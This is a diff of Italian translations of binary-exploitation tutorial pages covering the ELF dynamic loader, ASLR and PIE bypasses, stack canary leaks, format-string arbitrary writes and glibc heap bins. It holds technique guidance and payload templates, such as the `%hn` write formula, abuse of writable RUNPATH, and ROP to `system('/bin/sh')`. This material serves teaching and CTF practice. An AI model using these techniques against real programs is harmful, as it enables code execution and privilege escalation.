Le voci `DT_RPATH` (deprecato) e/o `DT_RUNPATH` influenzano dove il caricatore dinamico cerca le dipendenze. Ordine approssimativo:
|
||||
|
||||
- `LD_LIBRARY_PATH` (ignorato per programmi setuid/sgid o altrimenti "esecuzione sicura")
|
||||
- `LD_LIBRARY_PATH` (ignorato per programmi setuid/sgid o altrimenti "sicuri")
|
||||
- `DT_RPATH` (solo se `DT_RUNPATH` assente)
|
||||
- `DT_RUNPATH`
|
||||
- `ld.so.cache`
|
||||
- directory predefinite come `/lib64`, `/usr/lib64`, ecc.
|
||||
|
||||
`$ORIGIN` può essere utilizzato all'interno di RPATH/RUNPATH per riferirsi alla directory dell'oggetto principale. Dal punto di vista di un attaccante, questo è importante quando controlli il layout del filesystem o l'ambiente. Per i binari rinforzati (AT_SECURE) la maggior parte delle variabili ambientali sono ignorate dal caricatore.
|
||||
`$ORIGIN` può essere utilizzato all'interno di RPATH/RUNPATH per riferirsi alla directory dell'oggetto principale. Dal punto di vista di un attaccante, questo è importante quando controlli il layout del filesystem o l'ambiente. Per i binari rinforzati (AT_SECURE), la maggior parte delle variabili ambientali viene ignorata dal caricatore.
|
||||
|
||||
- Ispeziona con: `readelf -d ./bin | egrep -i 'r(path|unpath)'`
|
||||
- Test rapido: `LD_DEBUG=libs ./bin 2>&1 | grep -i find` (mostra le decisioni sul percorso di ricerca)
|
||||
|
||||
> Suggerimento per l'esc: Preferisci abusare di RUNPATH scrivibili o percorsi relativi a `$ORIGIN` mal configurati di tua proprietà. LD_PRELOAD/LD_AUDIT sono ignorati nei contesti di esecuzione sicura (setuid).
|
||||
> Suggerimento per l'esc: Preferisci abusare di RUNPATH scrivibili o percorsi relativi a `$ORIGIN` mal configurati di tua proprietà. LD_PRELOAD/LD_AUDIT vengono ignorati nei contesti di esecuzione sicura (setuid).
|
||||
|
||||
## Rilocazioni
|
||||
|
||||
Il caricatore deve anche rilocare le dipendenze dopo averle caricate. Queste rilocazioni sono indicate nella tabella di rilocazione nei formati REL o RELA e il numero di rilocazioni è dato nelle sezioni dinamiche RELSZ o RELASZ.
|
||||
Il caricatore deve anche rilocare le dipendenze dopo averle caricate. Queste rilocazioni sono indicate nella tabella di rilocazione nei formati REL o RELA e il numero di rilocazioni è fornito nelle sezioni dinamiche RELSZ o RELASZ.
|
||||
```
|
||||
readelf -r lnstat
|
||||
|
||||
@ -368,7 +368,7 @@ Quindi, quando un programma chiama malloc, in realtà chiama la posizione corris
|
||||
|
||||
- -fno-plt fa sì che il compilatore chiami funzioni esterne attraverso l'**entry GOT direttamente** invece di passare attraverso il PLT stub. Vedrai sequenze di chiamate come mov reg, [got]; call reg invece di call func@plt. Questo riduce l'abuso di esecuzione speculativa e cambia leggermente la ricerca di gadget ROP attorno agli stub PLT.
|
||||
|
||||
- PIE vs static-PIE: PIE (ET_DYN con INTERP) necessita del loader dinamico e supporta la consueta meccanica PLT/GOT. Static-PIE (ET_DYN senza INTERP) ha relocazioni applicate dal kernel loader e nessun ld.so; aspettati nessuna risoluzione PLT a runtime.
|
||||
- PIE vs static-PIE: PIE (ET_DYN con INTERP) necessita del loader dinamico e supporta la consueta meccanica PLT/GOT. Static-PIE (ET_DYN senza INTERP) ha relocazioni applicate dal loader del kernel e nessun ld.so; non aspettarti risoluzione PLT a runtime.
|
||||
|
||||
> Se GOT/PLT non è un'opzione, pivotare su altri puntatori di codice scrivibili o utilizzare ROP/SROP classico in libc.
|
||||
|
||||
@ -378,7 +378,7 @@ Quindi, quando un programma chiama malloc, in realtà chiama la posizione corris
|
||||
|
||||
## Program Initialization
|
||||
|
||||
Dopo che il programma è stato caricato, è tempo di farlo funzionare. Tuttavia, il primo codice che viene eseguito **non è sempre la funzione `main`**. Questo perché, ad esempio, in C++ se una **variabile globale è un oggetto di una classe**, questo oggetto deve essere **inizializzato** **prima** che main venga eseguito, come in:
|
||||
Dopo che il programma è stato caricato, è tempo che venga eseguito. Tuttavia, il primo codice che viene eseguito **non è sempre la funzione `main`**. Questo perché, ad esempio, in C++ se una **variabile globale è un oggetto di una classe**, questo oggetto deve essere **inizializzato** **prima** che main venga eseguito, come in:
|
||||
```cpp
|
||||
#include <stdio.h>
|
||||
// g++ autoinit.cpp -o autoinit
|
||||
@ -429,7 +429,7 @@ Inoltre, è anche possibile avere un **`PREINIT_ARRAY`** con **puntatori** che v
|
||||
3. Le funzioni **`PREINIT_ARRAY`** vengono eseguite.
|
||||
4. Le funzioni **`INIT_ARRAY`** vengono eseguite.
|
||||
5. Se c'è un'entrata **`INIT`**, viene chiamata.
|
||||
6. Se è una libreria, dlopen termina qui, se è un programma, è il momento di chiamare il **punto di ingresso reale** (funzione `main`).
|
||||
6. Se è una libreria, dlopen termina qui, se è un programma, è tempo di chiamare il **punto di ingresso reale** (funzione `main`).
|
||||
|
||||
## Thread-Local Storage (TLS)
|
||||
|
||||
@ -441,7 +441,7 @@ Quando questo viene utilizzato, le sezioni **`.tdata`** e **`.tbss`** vengono ut
|
||||
|
||||
Ogni variabile avrà un'entrata nell'intestazione TLS che specifica la dimensione e l'offset TLS, che è l'offset che utilizzerà nell'area di dati locali del thread.
|
||||
|
||||
Il `__TLS_MODULE_BASE` è un simbolo utilizzato per riferirsi all'indirizzo base della memoria locale del thread e punta all'area in memoria che contiene tutti i dati locali del thread di un modulo.
|
||||
Il `__TLS_MODULE_BASE` è un simbolo utilizzato per riferirsi all'indirizzo base dello storage locale del thread e punta all'area in memoria che contiene tutti i dati locali del thread di un modulo.
|
||||
|
||||
## Auxiliary Vector (auxv) e vDSO
|
||||
|
||||
@ -451,7 +451,7 @@ Il kernel Linux passa un vettore ausiliario ai processi contenente indirizzi e f
|
||||
- `AT_SYSINFO_EHDR`: indirizzo base della mappatura vDSO (utile per trovare syscalls e gadget `__kernel_*`).
|
||||
- `AT_EXECFN`, `AT_BASE`, `AT_PAGESZ`, ecc.
|
||||
|
||||
Come attaccante, se puoi leggere la memoria o i file sotto `/proc`, puoi spesso rivelare questi senza una infoleak nel processo target:
|
||||
Come attaccante, se puoi leggere la memoria o i file sotto `/proc`, puoi spesso rivelare questi senza una leak di informazioni nel processo target:
|
||||
```bash
|
||||
# Show the auxv of a running process
|
||||
cat /proc/$(pidof target)/auxv | xxd
|
||||
|
||||
@ -51,17 +51,17 @@ Questo garantirà che le impostazioni ASLR rimangano attive dopo i riavvii.
|
||||
|
||||
## **Bypasses**
|
||||
|
||||
### 32bit brute-forcing
|
||||
### Forzatura brute-force a 32 bit
|
||||
|
||||
PaX divide lo spazio degli indirizzi del processo in **3 gruppi**:
|
||||
|
||||
- **Codice e dati** (inizializzati e non inizializzati): `.text`, `.data`, e `.bss` —> **16 bit** di entropia nella variabile `delta_exec`. Questa variabile è inizializzata casualmente con ogni processo e aggiunta agli indirizzi iniziali.
|
||||
- **Codice e dati** (inizializzati e non inizializzati): `.text`, `.data` e `.bss` —> **16 bit** di entropia nella variabile `delta_exec`. Questa variabile è inizializzata casualmente con ogni processo e aggiunta agli indirizzi iniziali.
|
||||
- **Memoria** allocata da `mmap()` e **librerie condivise** —> **16 bit**, chiamata `delta_mmap`.
|
||||
- **Lo stack** —> **24 bit**, indicato come `delta_stack`. Tuttavia, utilizza effettivamente **11 bit** (dal 10° al 20° byte inclusi), allineati a **16 byte** —> Questo porta a **524.288 possibili indirizzi reali dello stack**.
|
||||
|
||||
I dati precedenti sono per sistemi a 32 bit e l'entropia finale ridotta rende possibile bypassare ASLR riprovando l'esecuzione più e più volte fino a quando l'exploit non viene completato con successo.
|
||||
|
||||
#### Idee di brute-force:
|
||||
#### Idee per brute-force:
|
||||
|
||||
- Se hai un overflow abbastanza grande da ospitare un **grande NOP sled prima del shellcode**, potresti semplicemente forzare gli indirizzi nello stack fino a quando il flusso **salta oltre una parte del NOP sled**.
|
||||
- Un'altra opzione per questo, nel caso in cui l'overflow non sia così grande e l'exploit possa essere eseguito localmente, è possibile **aggiungere il NOP sled e lo shellcode in una variabile d'ambiente**.
|
||||
|
||||
@ -6,7 +6,7 @@
|
||||
|
||||
Un binario compilato come PIE, o **Position Independent Executable**, significa che il **programma può essere caricato in diverse posizioni di memoria** ogni volta che viene eseguito, prevenendo indirizzi hardcoded.
|
||||
|
||||
Il trucco per sfruttare questi binari sta nello sfruttare gli **indirizzi relativi**: gli offset tra le parti del programma rimangono gli stessi anche se le posizioni assolute cambiano. Per **bypassare PIE, è necessario solo leakare un indirizzo**, tipicamente dallo **stack** utilizzando vulnerabilità come gli attacchi di formato stringa. Una volta ottenuto un indirizzo, puoi calcolare altri in base ai loro **offset fissi**.
|
||||
Il trucco per sfruttare questi binari sta nello sfruttare gli **indirizzi relativi**: gli offset tra le parti del programma rimangono gli stessi anche se le posizioni assolute cambiano. Per **bypassare PIE, è necessario solo leakare un indirizzo**, tipicamente dallo **stack** utilizzando vulnerabilità come attacchi di formato stringa. Una volta ottenuto un indirizzo, puoi calcolare altri in base ai loro **offset fissi**.
|
||||
|
||||
Un suggerimento utile per sfruttare i binari PIE è che il loro **indirizzo base di solito termina in 000** a causa delle pagine di memoria che sono le unità di randomizzazione, dimensionate a 0x1000 byte. Questo allineamento può essere un **controllo critico se un exploit non funziona** come previsto, indicando se l'indirizzo base corretto è stato identificato.\
|
||||
Oppure puoi usare questo per il tuo exploit, se leak che un indirizzo si trova a **`0x649e1024`** sai che l'**indirizzo base è `0x649e1000`** e da lì puoi semplicemente **calcolare gli offset** delle funzioni e delle posizioni.
|
||||
@ -15,7 +15,7 @@ Oppure puoi usare questo per il tuo exploit, se leak che un indirizzo si trova a
|
||||
|
||||
Per bypassare PIE è necessario **leakare un indirizzo del binario caricato**, ci sono alcune opzioni per questo:
|
||||
|
||||
- **ASLR disabilitato**: Se ASLR è disabilitato, un binario compilato con PIE è sempre **caricato nello stesso indirizzo**, quindi **PIE sarà inutile** poiché gli indirizzi degli oggetti saranno sempre nello stesso posto.
|
||||
- **ASLR disabilitato**: Se ASLR è disabilitato, un binario compilato con PIE viene sempre **caricato nello stesso indirizzo**, quindi **PIE sarà inutile** poiché gli indirizzi degli oggetti saranno sempre nello stesso posto.
|
||||
- Essere **forniti** del leak (comune nelle sfide CTF facili, [**controlla questo esempio**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-exploit))
|
||||
- **Brute-force dei valori EBP ed EIP** nello stack fino a leakare quelli corretti:
|
||||
|
||||
|
||||
@ -47,7 +47,7 @@ print-stack-canary.md
|
||||
|
||||
- **Sovrascrivere i puntatori memorizzati nello stack**
|
||||
|
||||
Lo stack vulnerabile a un overflow potrebbe **contenere indirizzi a stringhe o funzioni che possono essere sovrascritti** per sfruttare la vulnerabilità senza dover raggiungere il canary dello stack. Controlla:
|
||||
Lo stack vulnerabile a un overflow dello stack potrebbe **contenere indirizzi a stringhe o funzioni che possono essere sovrascritti** per sfruttare la vulnerabilità senza dover raggiungere il canary dello stack. Controlla:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -62,7 +62,7 @@ Inoltre, un buffer **overflow in una funzione thread** protetta con canary potre
|
||||
Di conseguenza, la mitigazione è inutile perché il controllo viene effettuato con due canaries che sono gli stessi (anche se modificati).\
|
||||
Questo attacco è eseguito nella scrittura: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
|
||||
|
||||
Controlla anche la presentazione di [https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015) che menziona che di solito il **TLS** è memorizzato da **`mmap`** e quando uno **stack** di **thread** viene creato è anch'esso generato da `mmap`, il che potrebbe consentire l'overflow come mostrato nella scrittura precedente.
|
||||
Controlla anche la presentazione di [https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015) che menziona che di solito il **TLS** è memorizzato da **`mmap`** e quando uno **stack** di **thread** è creato è anche generato da `mmap` secondo questo, il che potrebbe consentire l'overflow come mostrato nella scrittura precedente.
|
||||
|
||||
- **Modificare l'entry GOT di `__stack_chk_fail`**
|
||||
|
||||
|
||||
@ -17,11 +17,11 @@ Ovviamente, questa tattica è molto **ristretta** poiché l'attaccante deve esse
|
||||
- [**https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html**](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html)
|
||||
- 64 bit, ASLR abilitato ma senza PIE, il primo passo è riempire un overflow fino al byte 0x00 del canary per poi chiamare puts e esfiltrarlo. Con il canary viene creato un gadget ROP per chiamare puts per esfiltrare l'indirizzo di puts dal GOT e un gadget ROP per chiamare `system('/bin/sh')`
|
||||
- [**https://guyinatuxedo.github.io/14-ret_2_system/hxp18_poorCanary/index.html**](https://guyinatuxedo.github.io/14-ret_2_system/hxp18_poorCanary/index.html)
|
||||
- 32 bit, ARM, senza relro, canary, nx, senza pie. Overflow con una chiamata a puts su di esso per esfiltrare il canary + ret2lib chiamando `system` con una catena ROP per poppare r0 (arg `/bin/sh`) e pc (indirizzo di system)
|
||||
- 32 bit, ARM, senza relro, canary, nx, senza pie. Overflow con una chiamata a puts su di esso per esfiltrare il canary + ret2lib chiamando `system` con una catena ROP per pop r0 (arg `/bin/sh`) e pc (indirizzo di system)
|
||||
|
||||
## Lettura Arbitraria
|
||||
|
||||
Con una **lettura arbitraria** come quella fornita da **stringhe di formato** potrebbe essere possibile esfiltrare il canary. Controlla questo esempio: [**https://ir0nstone.gitbook.io/notes/types/stack/canaries**](https://ir0nstone.gitbook.io/notes/types/stack/canaries) e puoi leggere di come abusare delle stringhe di formato per leggere indirizzi di memoria arbitrari in:
|
||||
Con una **lettura arbitraria** come quella fornita da **stringhe di formato**, potrebbe essere possibile esfiltrare il canary. Controlla questo esempio: [**https://ir0nstone.gitbook.io/notes/types/stack/canaries**](https://ir0nstone.gitbook.io/notes/types/stack/canaries) e puoi leggere di come abusare delle stringhe di formato per leggere indirizzi di memoria arbitrari in:
|
||||
|
||||
{{#ref}}
|
||||
../../format-strings/
|
||||
|
||||
@ -3,7 +3,7 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Basic Information
|
||||
## Informazioni di Base
|
||||
|
||||
In C **`printf`** è una funzione che può essere utilizzata per **stampare** una stringa. Il **primo parametro** che questa funzione si aspetta è il **testo grezzo con i formattatori**. I **parametri seguenti** attesi sono i **valori** da **sostituire** ai **formattatori** nel testo grezzo.
|
||||
|
||||
@ -11,7 +11,7 @@ Altre funzioni vulnerabili sono **`sprintf()`** e **`fprintf()`**.
|
||||
|
||||
La vulnerabilità appare quando un **testo dell'attaccante viene utilizzato come primo argomento** per questa funzione. L'attaccante sarà in grado di creare un **input speciale che sfrutta** le capacità della **stringa di formato printf** per leggere e **scrivere qualsiasi dato in qualsiasi indirizzo (leggibile/scrivibile)**. Essere in grado in questo modo di **eseguire codice arbitrario**.
|
||||
|
||||
#### Formatters:
|
||||
#### Formattatori:
|
||||
```bash
|
||||
%08x —> 8 hex bytes
|
||||
%d —> Entire
|
||||
@ -54,7 +54,7 @@ return 0;
|
||||
```
|
||||
### **Accessing Pointers**
|
||||
|
||||
Il formato **`%<n>$x`**, dove `n` è un numero, consente di indicare a printf di selezionare il n-esimo parametro (dallo stack). Quindi, se vuoi leggere il 4° parametro dallo stack usando printf, potresti fare:
|
||||
Il formato **`%<n>$x`**, dove `n` è un numero, consente di indicare a printf di selezionare il n-esimo parametro (dallo stack). Quindi, se vuoi leggere il 4° parametro dallo stack usando printf, puoi fare:
|
||||
```c
|
||||
printf("%x %x %x %x")
|
||||
```
|
||||
@ -66,7 +66,7 @@ printf("%4$x")
|
||||
```
|
||||
e leggere direttamente il quarto.
|
||||
|
||||
Nota che l'attaccante controlla il `printf` **parametro, il che significa fondamentalmente che** il suo input sarà nello stack quando `printf` viene chiamato, il che significa che potrebbe scrivere indirizzi di memoria specifici nello stack.
|
||||
Nota che l'attaccante controlla il `printf` **parametro, il che significa fondamentalmente che** il suo input sarà nello stack quando viene chiamato `printf`, il che significa che potrebbe scrivere indirizzi di memoria specifici nello stack.
|
||||
|
||||
> [!CAUTION]
|
||||
> Un attaccante che controlla questo input sarà in grado di **aggiungere indirizzi arbitrari nello stack e far accedere `printf` a essi**. Nella sezione successiva verrà spiegato come utilizzare questo comportamento.
|
||||
@ -89,9 +89,9 @@ log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
|
||||
> [!CAUTION]
|
||||
> Nota che non puoi mettere l'indirizzo 0x8048000 all'inizio dell'input perché la stringa verrà tagliata a 0x00 alla fine di quell'indirizzo.
|
||||
|
||||
### Trova offset
|
||||
### Trova l'offset
|
||||
|
||||
Per trovare l'offset per il tuo input puoi inviare 4 o 8 byte (`0x41414141`) seguiti da **`%1$x`** e **aumentare** il valore fino a recuperare le `A`.
|
||||
Per trovare l'offset per il tuo input puoi inviare 4 o 8 byte (`0x41414141`) seguiti da **`%1$x`** e **aumentare** il valore fino a recuperare le `A's`.
|
||||
|
||||
<details>
|
||||
|
||||
@ -146,7 +146,7 @@ Tuttavia, nota che di solito per scrivere un indirizzo come `0x08049724` (che è
|
||||
|
||||
Pertanto, questa vulnerabilità consente di **scrivere qualsiasi cosa in qualsiasi indirizzo (scrittura arbitraria).**
|
||||
|
||||
In questo esempio, l'obiettivo sarà **sovrascrivere** l'**indirizzo** di una **funzione** nella tabella **GOT** che verrà chiamata in seguito. Anche se questo potrebbe abusare di altre tecniche di scrittura arbitraria per eseguire:
|
||||
In questo esempio, l'obiettivo sarà **sovrascrivere** l'**indirizzo** di una **funzione** nella tabella **GOT** che verrà chiamata successivamente. Anche se questo potrebbe abusare di altre tecniche di scrittura arbitraria per eseguire:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -159,7 +159,7 @@ Come accennato, per scrivere l'indirizzo, di solito sono necessari 2 passaggi: *
|
||||
- **HOB** si riferisce ai 2 byte più alti dell'indirizzo
|
||||
- **LOB** si riferisce ai 2 byte più bassi dell'indirizzo
|
||||
|
||||
Poi, a causa di come funziona la stringa di formato, devi **scrivere prima il più piccolo** di \[HOB, LOB] e poi l'altro.
|
||||
Poi, a causa di come funziona la stringa di formato, è necessario **scrivere prima il più piccolo** di \[HOB, LOB] e poi l'altro.
|
||||
|
||||
Se HOB < LOB\
|
||||
`[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]`
|
||||
|
||||
@ -31,20 +31,20 @@ Nelle applicazioni **multithreaded**, il gestore dell'heap deve prevenire **race
|
||||
|
||||
Per affrontare questo problema, l'allocatore di heap ptmalloc2 ha introdotto "arenas", dove **ogni arena** funge da **heap separato** con le proprie **strutture** di dati e **mutex**, consentendo a più thread di eseguire operazioni sull'heap senza interferire tra loro, purché utilizzino arene diverse.
|
||||
|
||||
L'arena "principale" predefinita gestisce le operazioni sull'heap per le applicazioni a thread singolo. Quando vengono aggiunti **nuovi thread**, il gestore dell'heap assegna loro **arene secondarie** per ridurre la contesa. Prima tenta di collegare ciascun nuovo thread a un'arena non utilizzata, creando nuove arene se necessario, fino a un limite di 2 volte il numero di core CPU per i sistemi a 32 bit e 8 volte per i sistemi a 64 bit. Una volta raggiunto il limite, **i thread devono condividere le arene**, portando a una potenziale contesa.
|
||||
L'arena "principale" predefinita gestisce le operazioni sull'heap per applicazioni a thread singolo. Quando vengono aggiunti **nuovi thread**, il gestore dell'heap assegna loro **arene secondarie** per ridurre la contesa. Prima tenta di collegare ciascun nuovo thread a un'arena non utilizzata, creando nuove arene se necessario, fino a un limite di 2 volte il numero di core CPU per sistemi a 32 bit e 8 volte per sistemi a 64 bit. Una volta raggiunto il limite, **i thread devono condividere le arene**, portando a potenziale contesa.
|
||||
|
||||
A differenza dell'arena principale, che si espande utilizzando la chiamata di sistema `brk`, le arene secondarie creano "subheaps" utilizzando `mmap` e `mprotect` per simulare il comportamento dell'heap, consentendo flessibilità nella gestione della memoria per operazioni multithreaded.
|
||||
|
||||
### Subheaps
|
||||
|
||||
I subheaps servono come riserve di memoria per le arene secondarie nelle applicazioni multithreaded, consentendo loro di crescere e gestire le proprie regioni heap separatamente dall'heap principale. Ecco come i subheaps differiscono dall'heap iniziale e come operano:
|
||||
I subheaps servono come riserve di memoria per le arene secondarie nelle applicazioni multithreaded, consentendo loro di crescere e gestire le proprie regioni di heap separatamente dall'heap principale. Ecco come i subheaps differiscono dall'heap iniziale e come operano:
|
||||
|
||||
1. **Heap Iniziale vs. Subheaps**:
|
||||
- L'heap iniziale si trova direttamente dopo il binario del programma in memoria e si espande utilizzando la chiamata di sistema `sbrk`.
|
||||
- I subheaps, utilizzati dalle arene secondarie, vengono creati tramite `mmap`, una chiamata di sistema che mappa una regione di memoria specificata.
|
||||
2. **Riserva di Memoria con `mmap`**:
|
||||
- Quando il gestore dell'heap crea un subheap, riserva un grande blocco di memoria tramite `mmap`. Questa riserva non alloca immediatamente memoria; designa semplicemente una regione che altri processi di sistema o allocazioni non dovrebbero utilizzare.
|
||||
- Per impostazione predefinita, la dimensione riservata per un subheap è di 1 MB per i processi a 32 bit e 64 MB per i processi a 64 bit.
|
||||
2. **Riservazione di Memoria con `mmap`**:
|
||||
- Quando il gestore dell'heap crea un subheap, riserva un grande blocco di memoria tramite `mmap`. Questa riservazione non alloca immediatamente memoria; designa semplicemente una regione che altri processi di sistema o allocazioni non dovrebbero utilizzare.
|
||||
- Per impostazione predefinita, la dimensione riservata per un subheap è di 1 MB per processi a 32 bit e 64 MB per processi a 64 bit.
|
||||
3. **Espansione Graduale con `mprotect`**:
|
||||
- La regione di memoria riservata è inizialmente contrassegnata come `PROT_NONE`, indicando che il kernel non ha bisogno di allocare memoria fisica per questo spazio ancora.
|
||||
- Per "crescere" il subheap, il gestore dell'heap utilizza `mprotect` per cambiare i permessi delle pagine da `PROT_NONE` a `PROT_READ | PROT_WRITE`, invitando il kernel ad allocare memoria fisica agli indirizzi precedentemente riservati. Questo approccio graduale consente al subheap di espandersi secondo necessità.
|
||||
@ -90,11 +90,11 @@ Ci sono alcune cose interessanti da notare da questa struttura (vedi il codice C
|
||||
#define set_contiguous(M) ((M)->flags &= ~NONCONTIGUOUS_BIT)
|
||||
```
|
||||
|
||||
- Il `mchunkptr bins[NBINS * 2 - 2];` contiene **puntatori** ai **primi e ultimi chunk** dei **bins** piccoli, grandi e non ordinati (il -2 è dovuto al fatto che l'indice 0 non è utilizzato)
|
||||
- Il `mchunkptr bins[NBINS * 2 - 2];` contiene **puntatori** ai **primi e ultimi chunk** dei **bins** piccoli, grandi e non ordinati (il -2 è perché l'indice 0 non è utilizzato)
|
||||
- Pertanto, il **primo chunk** di questi bins avrà un **puntatore all'indietro a questa struttura** e l'**ultimo chunk** di questi bins avrà un **puntatore in avanti** a questa struttura. Il che significa fondamentalmente che se puoi **leakare questi indirizzi nell'arena principale** avrai un puntatore alla struttura nella **libc**.
|
||||
- Le strutture `struct malloc_state *next;` e `struct malloc_state *next_free;` sono liste collegate di arene
|
||||
- Il chunk `top` è l'ultimo "chunk", che è fondamentalmente **tutto lo spazio rimanente dell'heap**. Una volta che il chunk top è "vuoto", l'heap è completamente utilizzato e deve richiedere più spazio.
|
||||
- Il chunk `last reminder` proviene da casi in cui un chunk di dimensione esatta non è disponibile e quindi un chunk più grande viene diviso, una parte rimanente del puntatore è collocata qui.
|
||||
- Il chunk `last reminder` proviene da casi in cui un chunk di dimensione esatta non è disponibile e quindi un chunk più grande viene diviso, una parte rimanente del puntatore è posizionata qui.
|
||||
```c
|
||||
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1812
|
||||
|
||||
@ -181,7 +181,7 @@ Inoltre, quando disponibile, i dati dell'utente vengono utilizzati per contenere
|
||||
<figure><img src="../../images/image (1243).png" alt=""><figcaption><p><a href="https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png">https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png</a></p></figcaption></figure>
|
||||
|
||||
> [!TIP]
|
||||
> Nota come collegare la lista in questo modo previene la necessità di avere un array dove ogni singolo chunk è registrato.
|
||||
> Nota come collegare la lista in questo modo previene la necessità di avere un array in cui ogni singolo chunk è registrato.
|
||||
|
||||
### Puntatori ai Chunk
|
||||
|
||||
|
||||
@ -2,21 +2,21 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## Informazioni di Base
|
||||
|
||||
Per migliorare l'efficienza nel modo in cui i chunk sono memorizzati, ogni chunk non è solo in una lista collegata, ma ci sono diversi tipi. Questi sono i bins e ci sono 5 tipi di bins: [62](https://sourceware.org/git/gitweb.cgi?p=glibc.git;a=blob;f=malloc/malloc.c;h=6e766d11bc85b6480fa5c9f2a76559f8acf9deb5;hb=HEAD#l1407) small bins, 63 large bins, 1 unsorted bin, 10 fast bins e 64 tcache bins per thread.
|
||||
Per migliorare l'efficienza su come i chunk sono memorizzati, ogni chunk non è solo in una lista collegata, ma ci sono diversi tipi. Questi sono i bins e ci sono 5 tipi di bins: [62](https://sourceware.org/git/gitweb.cgi?p=glibc.git;a=blob;f=malloc/malloc.c;h=6e766d11bc85b6480fa5c9f2a76559f8acf9deb5;hb=HEAD#l1407) small bins, 63 large bins, 1 unsorted bin, 10 fast bins e 64 tcache bins per thread.
|
||||
|
||||
L'indirizzo iniziale di ciascun unsorted, small e large bins è all'interno dello stesso array. L'indice 0 è inutilizzato, 1 è l'unsorted bin, i bins 2-64 sono small bins e i bins 65-127 sono large bins.
|
||||
L'indirizzo iniziale per ciascun unsorted, small e large bins è all'interno dello stesso array. L'indice 0 è inutilizzato, 1 è l'unsorted bin, i bins 2-64 sono small bins e i bins 65-127 sono large bins.
|
||||
|
||||
### Tcache (Per-Thread Cache) Bins
|
||||
### Tcache (Cache Per-Thread) Bins
|
||||
|
||||
Anche se i thread cercano di avere il proprio heap (vedi [Arenas](bins-and-memory-allocations.md#arenas) e [Subheaps](bins-and-memory-allocations.md#subheaps)), c'è la possibilità che un processo con molti thread (come un server web) **condividerà l'heap con altri thread**. In questo caso, la soluzione principale è l'uso di **lockers**, che potrebbero **rallentare significativamente i thread**.
|
||||
|
||||
Pertanto, un tcache è simile a un fast bin per thread nel modo in cui è una **singola lista collegata** che non unisce i chunk. Ogni thread ha **64 tcache bins collegati singolarmente**. Ogni bin può avere un massimo di [7 chunk della stessa dimensione](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l323) che vanno da [24 a 1032B su sistemi a 64 bit e da 12 a 516B su sistemi a 32 bit](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l315).
|
||||
|
||||
**Quando un thread libera** un chunk, **se non è troppo grande** per essere allocato nel tcache e il rispettivo tcache bin **non è pieno** (già 7 chunk), **verrà allocato lì**. Se non può andare nel tcache, dovrà aspettare il blocco dell'heap per poter eseguire l'operazione di liberazione a livello globale.
|
||||
**Quando un thread libera** un chunk, **se non è troppo grande** per essere allocato nel tcache e il rispettivo tcache bin **non è pieno** (già 7 chunk), **verrà allocato lì**. Se non può andare nel tcache, dovrà aspettare il blocco dell'heap per poter eseguire l'operazione di liberazione globalmente.
|
||||
|
||||
Quando un **chunk è allocato**, se c'è un chunk libero della dimensione necessaria nel **Tcache lo utilizzerà**, altrimenti, dovrà aspettare il blocco dell'heap per poter trovarne uno nei bins globali o crearne uno nuovo.\
|
||||
Quando un **chunk è allocato**, se c'è un chunk libero della dimensione necessaria nel **Tcache lo utilizzerà**, altrimenti, dovrà aspettare il blocco dell'heap per poter trovare uno nei bins globali o crearne uno nuovo.\
|
||||
C'è anche un'ottimizzazione, in questo caso, mentre ha il blocco dell'heap, il thread **riempirà il suo Tcache con chunk dell'heap (7) della dimensione richiesta**, così nel caso ne avesse bisogno di più, li troverà nel Tcache.
|
||||
|
||||
<details>
|
||||
@ -36,7 +36,7 @@ free(chunk);
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
Compilalo e debugga con un breakpoint nell'operazione ret dalla funzione main. Poi con gef puoi vedere il tcache bin in uso:
|
||||
Compilalo e debuggalo con un breakpoint nell'operazione ret dalla funzione main. Poi con gef puoi vedere il tcache bin in uso:
|
||||
```bash
|
||||
gef➤ heap bins
|
||||
──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ────────────────────────────────────────────────────────────────────────────────
|
||||
@ -102,7 +102,7 @@ tcache_entry *entries[TCACHE_MAX_BINS];
|
||||
```
|
||||
</details>
|
||||
|
||||
La funzione `__tcache_init` è la funzione che crea e alloca lo spazio per l'oggetto `tcache_perthread_struct`.
|
||||
La funzione `__tcache_init` è la funzione che crea e alloca lo spazio per l'oggetto `tcache_perthread_struct`
|
||||
|
||||
<details>
|
||||
|
||||
@ -149,23 +149,23 @@ memset (tcache, 0, sizeof (tcache_perthread_struct));
|
||||
|
||||
#### Indici Tcache
|
||||
|
||||
Il tcache ha diversi bin a seconda della dimensione e i puntatori iniziali al **primo chunk di ciascun indice e la quantità di chunk per indice sono situati all'interno di un chunk**. Questo significa che localizzando il chunk con queste informazioni (di solito il primo), è possibile trovare tutti i punti iniziali del tcache e la quantità di chunk Tcache.
|
||||
